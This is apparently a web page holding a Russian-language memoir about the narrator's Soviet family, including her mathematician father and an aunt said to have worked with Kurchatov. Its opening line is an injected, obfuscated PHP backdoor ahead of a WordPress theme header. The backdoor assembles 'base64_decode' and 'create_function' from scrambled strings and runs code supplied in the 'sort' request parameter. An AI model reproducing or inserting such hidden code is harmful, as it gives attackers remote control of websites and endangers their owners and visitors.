nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ИМЕНИТЕЛЬНЫЙ-РОДИТЕЛЬНЫЙ


эпиграф

-ДАТЕЛЬНЫЙ-ВИНИТЕЛЬНЫЙ-ТВОРИТЕЛЬНЫЙ-ПРЕДЛОЖНЫЙ
                                                              па-де-жи

            Я  уже  писала,  что  моя  мамочка  была  самых  н е ч е с т н ы х   правил.
            А   мой  папа,  как  я  тоже  писала, был  " отчаянный " математик. Так  вот, он  был что  ни  на   есть  " с а м ы х    ч е с т н ы х    п р а в и л ".
          Если  моя  мамочка  была  при  всей  своей  партийной  активности   к о н т р о й,   то  мой  папа  при  всей  своей   п а с с и в н о й    п а р т и й н о с т и   был   в е р н ы м    винтиком  советской  системы,  когда  " послушание –  выше  поста  и  молитвы "  и  когда  " приказы  начальства  не  обсуждают ".  Папу  смело  можно  назвать   трудоголиком,  потому  что  я  в  детстве  засыпала,  а  бывало  и   просыпалась,  под  скрип  его  пера  –  " ставочки "  с  чернильницей,  а  потом  авторучки.  Нельзя  не  добавить,  что  в  другое  ухо   мне   лились   скрежещущие  звуки   глушилок   мамочкиных  " забугорных "  голосов. ( Ну  прямо,  только  с  точностью  до  наоборот,  как  родители   у  Пеппи  Длинный Чулок:  " мама   –  ангел  на  небе,  а   папа  –  негритянский   король " ! )
       Я  писала,  что папа  меня  " натаскивал " на  Софью Ковалевскую. Это  при том,  что  я  " три  и  два "  на  пальцах  складываю,  а  " два  и  три "  –  для  меня  уже  головоломка.  Папу  это  не  смущало,  потому  что  он  был  уверен,  что  это  вредоносная  мамочка назло   ему   подговаривает   меня  " тупить". Мало  того,  папа  меня  всё  время  держал  в  олимпийском  тонусе.  Когда  в  каком-нибудь  журнале  или  в телевизоре  появлялась  картинка  с  изображением  фронтона  Московского  университета  с  памятником  перед   ним,  папа   кодировочно   мне   внушал: " Валя ! Вот  т а м    твоё  место ! "   И  он  не  догадывался,  что   я   его  указующее  " т а м ! "  понимала  как  свою  инквизиторскую  участь:  в   одном  месте   стоять   на  ветру,  на  высоте  несколких  моих  ростов,  а  в  другом  – сидеть  на  месте  этого  дяденьки  на  холодной  каменной  скамейке.  И  у  меня  была  настоящая  детская   ф о б и я    этих  "мест" !
        Михайла  Василич,  не  беспокойтесь  за   свои   м е с т а   –  не  умудрил  Господь !
        Однако  при   всём  своём   верноподданничестве  папа  не   мог  удержаться  и  не   выдать  в   дидактическом   запале  родовой   церковной   тайны: " Валя, – говорил  он  вполголоса, хоть  мы  были  и  одни, – Кирилло-Белозерский  и  Ферапонтов  монастыри  –  наши   р о д о в ы е:  все  деревни вокруг  были заселены  Никоновыми – и  твой  прадед,  и  пра-прадед, и  почти  все предыдущие  деды  были  Никонами.  Только  ближе  к  Новому  времени  род  Никоновых поделился  на  Никоновых  и  Саввиных,  чтобы   меньше  путаницы  было.  А  эти  монастыри  всегда  состояли  из  нашей  родни, поскольку  все  семьи   были  многодетными,  и  обязательно  кто-нибудь  из  подросших   детей   да   и  уходил  молиться  за  всех  в монастырь. Но  только  ты  этого  никому  не  говори.  А  моя  старшая  сестра,  твоя  тётя,  тётя  Валя,  ты   знаешь,  доктор  исторических  наук,  она  очень  умная,  она  у  всей  нашей   родни  собрала  все  фотографии  и   дневники  с  письмами  и   будет писать  историю  рода  Никоновых ! "
             Это  было  для  меня  худшей  характеристикой  гипотетического  труда  моей  тёти,  так   как   она  была   и н с т р у к т о р о м Смольного  по   а г и т а ц и и    и   п р о п а г а н д е. Тётя  со  своей  дочкой  жила  на  Кировском  ( ныне  снова Каменноостровском )  проспекте в  известном  доме,  п о д   квартирой-музеем  Кирова. Наша  семья  во  все  пятидестые  и  начало  шестидесятых  годов  в  выходные и  праздники  на  такси заваливались  к  ним  в  гости,  чтобы  подкормиться,  и  я,  выбегая  прогуляться  по  скучнейшему  проспекту,  возвращаясь, взлетала  на  этаж  выше,  чем   надо,  и  рыдала  под  дверью  безответной  квартиры  Кирова,  пока  проходящие  вниз  по лестнице жильцы  не  объясняли  мне,  что  это  –  квартира  музея,  в  выходной  не  работающая.
      Моя  мамочка,  сколько  я  её  помню,  в  лучшие  годы  нашего  с  ней   любовного  общения ( до  Георгия ), всё  издевалась  над тётей Валей  за  её  деревенскость ( хотя  сама  родом  из  Ярославской  деревни )  и   докторство   пресловутых  наук,  когда  мол  ей  выдали   т е м о й    докторской  для  "изучения"  всего   лишь    о д и н    день   и з    жизни   Ленина   и   за   это   с  ходу   выдали   д о к т о р с к у ю   по   истории ! Особенно  мамочка издевалась  над  просьбой  тёти  Вали  придти  к   ней  на  защиту  её  исторической диссертации  в   лиловом   панбархатном   платье  ( "чтоб  всех затмить !" ),  которое   тёте   Вале  очень  нравилось   ( мне,  кстати, тоже )  –  вот  это пожелание  тёти  Вали  мамочка  и  высмеивала годами.
        Шли  годы  со  всей  чехардой  ситуаций  и  приоритетов, а  именно: моя  размолвка  с  роднёй  из-за  Георгия, наш  отъезд  на  ПМЖ  в  Теребени ( с 1989 г.) . . .
           1997  год.  Мой  папа  " самых  честных  правил "  тихо-мирно  на  руках  жены ( ясно,  что  не  моей  мамочки ) скончался,  о  чём  я  узнала  через  день.
           А   в  тот  день,  в  те  самые  минуты  смерти  папы ( я  потом  синхронизировала)   я  здесь,  в  деревне, одна,  в  отсутствии  мужа,  с утра  ждала  покойника, заявленного  накануне  и  по  каким-то  причинам  привезённым  только  к  полчетвёртому   д н я.
          Я, ожидая  покойника, как  и  папа  смерти,  посмотрела  ( и  папа  посмотрел)  пятнадцатичасовые  новости,  потом  –  начало  передачи  про  Айседору  Дункан ( и  папа  тоже  начал  это  смотреть,  поскольку  просто  обожал  Есенина ),  а  потом  я   побежала  в  церковь  встречать  и " провожать "  покойника . . . а   папа . . .
       ( о т п е в а н и е  –  это,  как  ни  странно, н е  Таинство !  Это  всего  лишь    п е н и е.
       И  вообще  мы  молимся, если  молимся, не  за   жизнь,  здоровье  и  благополучие,  а   за   с п а с е н и е   д у ш и.  У   Бога  смерти  нет !  Есть  бессмертный  " материал "  Его   д у ш ! ) . . .
       . . .  а  папа,  вынув  вставную  челюсть,  чтоб  не  звякала,  взялся  за  сердце  и  умер  . . . с е р д ц е . . .
      Это,  повторяю,  я  потом  узнала  от  его  жены.
      Синхронно  с  его    у х о д о м ,  я,  отпев  некоего  Виталия   и   вернувшись  с  кладбища, я  снова  села  что-то  шить  и  заодно что-то  смотреть  по  телевизору. Это  была  очередная  программа  " Час  пик "  с  тележурналистом  Разбашем ( вместо  убитого Листьева)  и  приглашённым  политиком   Вячеславом  Никоновым. Поэтому  я ( повторяю, синхронизировав),  пока  папина  душа  всё дальше  и дальше  отделялась  от  " стартовой площадки " ( от  тела ),   мысленно  была  вместе  с  папиным  родом  Никоновых, поскольку  папа простодушно  проговаривал  такую   н а и в н у ю   вещь,  что    в с е   Никоновы  – родственники. Поэтому   я   с  " генетическим приколом "  вглядывалась  в  телеэкран  на  приглашённого  политика   с  нашей   фамилией . . .
      И  вот  через  несколько  дней  я,  после  похорон  папы,  где  были  только  родственники  папиной  жены,  отправилась  в   " поминальные "  гости  к   дочке  тёти  Вали, то  есть  к   моей  двоюродной  сестре. Она  – доктор  биологии,  известный  в  своей области  учёный;  она  инвалид,  на десять  лет   старше меня. Мы  с  ней  не  виделись  с  начала  шестидесятых  годов,  и  поэтому её  возглас:  " Ах, как  ты  похожа  на  мою маму ! "  – меня привёл  в  тихое негодование. Думая,  что  смягчит  мою  неожиданную реакцию,  сестра  только  её  усилила, сказав: " Ты  что  не знаешь, что  названа   В а л е й   в  честь   моей  мамы ? "   Тут   уж  из меня  "полезла"   м о я   мамочка-контра,  и  я  бестактно  провела  рубикон  между  коммунистической  и  православной  конфессиями,  то  есть  между мной  и тётей. Это  во-первых.
          А  во-вторых, я  сказала,  что   м о я   мать   всегда  мне  говорила,  что  первые  недели  моей  жизни  меня  не  знали, как назвать. Тут  уж  сестра пришла  в  негодование ( а  это  всё  происходило  в  коридоре,  у  вешалки  –  и   я было  хотела  выскочить  и убежать ): " Нет – нет !  Все  заранее  знали,  что  ты  будешь   В а л е й ! "
    И  тут  сестра  просто  меня  ошарашила: "  А  ты  что,  разве  не  знаешь,  что  моя  мама  была  не  столько  партийным  деятелем,  а . . .  любимой  аспиранткой   К у р ч а т о в а,  что  она  была   ф и з и к о м ? "   Я  как  стояла  так  и  села .
         Я  так  и  не  могу  в  это  поверить. . .    
         А  сестра  сильно  обиделась  на  мою  неинформированность.  Я  решила,  что   о н а   меня  морочит,  что  она  –  не  она,  что  я попала  в  какой-то  постановочный  дурдом.  Но  когда  она  меня  повела  обедать  и  мне,  засомневавшейся  в  её  адекватности, налила  тарелку  супа,  другое  потрясение  клин  клином  выбило  первое:  это  был . . .  никоновский   бульон,  это   был   п а п и н    с у п   –  давно  забытые  гастрономические  ощущения  были  лучшим  доказательством  истинности  происходящего !
           Сестра  целый  вечер  повествовала  мне, что  до  войны  её  мама,  моя  тётя,  училась  в  Герценовском ,  где  преподавал Курчатов,  потом  пошла  к  нему  в  аспирантуру  –  а  тут  и  она,  моя  кузина,  народилась,  и  война   началась,  и  блокада . . .
           По какой-то  неведомой  простым  смертным  государственной  логике,  молодую  мать  с  годовалой  дочерью  сделали …первым секретарём  Петроградского  райкома  партии  и   дали  жилплощадь  под   квартирой  Кирова,  что   на   Кировском  проспекте.

                      ( Я  хочу  сказать,  как  бы  в  примечаниях,  что  мало  того,  что   тётина  квартира  –  квартира  первого  секретаря,  а  потом  и  инструктора  Смольного,  была   к о м м у н а л ь н о й,  но  даже   квартира   К и р о в а    при   его   жизни   т о ж е   была  коммунальной !  Это  я, рассказывая  про  свою  тётю,  по  случайности   узнала   от  нашего  хорошего   приятеля, чей  дядя  был  в  секретарях  у  Кирова.  Так  что  все  госдеятели  в  те  годы  были  поднадзорны: " не забалуешь"  у  себя  дома !)

      Сестра  рассказала,  что  Курчатов  создал   т а н д е м:  " физик- теоретик" ( моя  тётя)  и  физик-практик (Толя Реут), отозванный  с  фронта. А  после  войны  Толя,  получивший  смертельную  дозу  радиации, медленно  умирал,  и  его  тёмной  ночью  на  чёрных  лимузинах  привозили  к  тёте  Вале  на  Кировский  проспект  прощаться  –  и  сестра  это  хорошо  помнит.

                     ( А  ещё, как  бы  в  примечаниях,   скажу,  что   после  этой  моей  встречи  с  сестрой, я , доразмышлялась  до  логичности  именно  т а к о г о   назначения  моей  тёти-аспирантки,  поскольку   Кировский ( Каменноостровский)  проспект стыкуется  с  улицей  Рентгена, Радиевым  институтом,  находящимся  рядом.  А   из  серии телепередач  Даниила  Гранина  я узнала,  что  первостепенной  блокадной  задачей  было  э в а к у и р о в а т ь   из   Ленинграда  в   Москву  ядерный   р е а к т о р.)

               Кстати,  Д. А. Гранин  на  телевидении   провёл   три   " потока "  авторских  исторических   передач :  " Блокада ",  " Тайные физики "   и   " Ленинградское  дело " –  и  все  они  имеют  отношение  к  моей  загадочной  тёте,  так  как  именно  в   период " Ленинградского дела ",  как   сказала  сестра,  тётю  Валю  спас  Родионов,  который  бывал  у  них,  и   он-то  и   перевёл  тётю  Валю с партийной  работы  на  преподавательскую ( марксизма-ленинизма)  в  ЛЭТИ  (Ленинградский электро-технический  институт) –  сам же уехал  послом  в  Китай.  Сестра,  рассказывая  это  мне,  даже  не  знала,  что  Родионова  вернули  и  расстреляли.  А  я  это  и узнала из  передач  Данииила  Александровича  Гранина,  которому  я  не  преминула  позвонить,  чтобы   документально   прояснить себе  историю  моей  тёти,  в  честь  которой, оказывается,  я  названа.
       Позвонила  я  Даниилу  Александровичу,  узнав  от  Курбатова  его  телефон,  лет  пятнадцать  назад ( в  воскресенье, 9 мая 1999 г., перед  нашей  литургией). Гранин, конечно,  куда -то  спешил,  не  имел  охоты " врубаться "  в  мою  проблему. Он  немного оживился, только  когда  я  спросила  про  архивы, можно  ли  мне  туда  попасть?  А  он   вдруг  резко  возбуждённо  сказал,  что  они настолько  засекречены,  что  засекречены  навсегда,  и  чтоб  я  оставила  надежду  туда   попасть,  поскольку  даже   е г о , Гранина, в  них  не   пускают. . .
   Да,  так  вот  ещё  интереснейший   штрих   к  этой  моей  истории.
   После  эпохальной  для  меня  встречи  с  моей  двоюродной  сестрой  я,  естественно,  со  всех  ног  бросилась  на  другой  конец города  к  мамочке.  Ну  ладно  –  папа  уже  не  мог  мне  открыть  тайну,  почему  он,  насильно  воспитывавший  меня  в  физико-математическом  духе,  ставящий  мне  в  пример  всех  подряд:  от  Пифагора  до  Эйлера,  от   Софьи  Ковалевской   до   всей своей родни,  особенно  дяди  Славы,  который  " хоть  он, папа,  и  математик,  но  дядя  Слава  – всем  математикам  математик ! " — почему  он  ни  разу  не  заикнулся,  что  тётя  Валя  " крутой "  физик-теоретик ?
   Я  бросилась  к  мамочке –  величайшей  сплетнице  из  сплетниц:  да  почему  же  она,  глумясь  над  тёти  Валиной  докторской  по истории  " одного  дня  Ленина " (  чуть  не  написала  " Ивана  Денисовича " ),  почему  она  не  заикнулась  про  тёти  Вали  " физическое  происхождение " ?  Да   ещё   я д е р н о е ?   Возможно,  докторская  по  истории  была  компенсатом  за    ф и з-м а т заслуги ?
   — Мать,  это  что  ещё  за  семейные  фокусы,  якобы  тётя   Валя   была   физиком  у  Курчатова ?  –  Ворвавшись  в  квартиру ,  я завела  принципиальный  разговор.
      Мать  посмотрела  на  меня , как  на  дурочку,  и  язвительно,  чуть  ли  не  показывая  мне  язык,  проговорилась:
    —  Ну  и  что ?  Подумаешь !   М ы    в с е ,  в с я   р о д н я   ( ! )  э т о    з н а л и  !
     И  всё,  дальше  –  тишина.  Дальше  мать ,  глядя  в  окошко,  заговорила  о  погоде,  природе,  мол  птички  лают,  собачки  поют . . . Ни  слова  больше  на  интересующую  меня  тему  я  выдавить  из  неё  не  смогла  как  ни  старалась.
      Зато  она  поведала  мне, что  папа,  ещё  д о   получения   ею   известия  о  его  смерти, совершенно  явственно   явился  к   ней.
      Видно,  подобные   в и з и т ы  –  это  у   нас  семейное  . . .

P.S.
      И  смех  и  грех  относительно  папиной   системности .
Папина  жена-вдова  тоже  непроста. Познакомился  он  с  ней,  подрабатывая  частными  уроками  с  оболтусами. Мне  кажется,  он просто  любил  преподавать  оболтусам. Вот  мать  одного  оболтуса  и  стала  папиной  женой. А  её  отец  и  дядя,  то  есть  братья, были … личными  охранниками  Ленина,  а  потом  Сталина. В  1957 году  они  оба  облучились  при  аварии  под  Челябинском  ( в  " М а я к е " ) и  оба  рядом  так  вместе  и  привезены  были  и  похороненны  в  Ленинграде.
      А   папина  жена   и  поместила   м е ж д у    н и м и,   вип   о х р а н н и к а м и,   папину   урну.

                  +
               петр  иоанн  андрей
филипп  фома  варфоломей
               два иакова  матфей
  иуда яковль,т.е. ф а д д е й
  зилота симон   и   матфИй


Добавить комментарий